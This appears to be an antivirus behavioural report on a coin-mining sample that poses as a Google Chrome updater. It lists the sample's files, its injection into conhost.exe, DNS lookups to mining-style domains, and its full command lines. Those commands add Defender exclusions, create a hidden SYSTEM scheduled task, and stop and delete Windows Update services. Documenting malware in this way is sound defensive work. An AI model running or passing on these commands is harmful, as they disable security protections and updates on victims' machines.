Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\googleupdatetaskmachineqc
Malicious functions
Injects code into
the following system processes:
- <SYSTEM32>\conhost.exe
Modifies file system
Creates the following files
- %ProgramFiles%\google\chrome\updater.exe
- %WINDIR%\temp\bdtrrgix.tmp
- %ProgramFiles%\google\libs\wr64.sys
- %ProgramFiles%\google\libs\g.log
Deletes the following files
- %WINDIR%\temp\bdtrrgix.tmp
Substitutes the following files
- %WINDIR%\temp\bdtrrgix.tmp
Modifies the HOSTS file.
Network activity
UDP
- DNS ASK xm#.#miners.com
- DNS ASK yh##b.xyz
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#gtponpidn#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtask...
- '%ProgramFiles%\google\chrome\updater.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#ylqqim#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System...
- '%ProgramFiles%\google\chrome\updater.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
- '<SYSTEM32>\schtasks.exe' /run /tn GoogleUpdateTaskMachineQC
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'%ProgramFiles%\Google\Chrome\updater.exe'"
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#ylqqim#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System...
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentContr...
- '<SYSTEM32>\cmd.exe' /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "%ProgramFiles%\Google\Libs\g.log"
- '<SYSTEM32>\wbem\wmic.exe' PATH Win32_VideoController GET Name, VideoProcessor
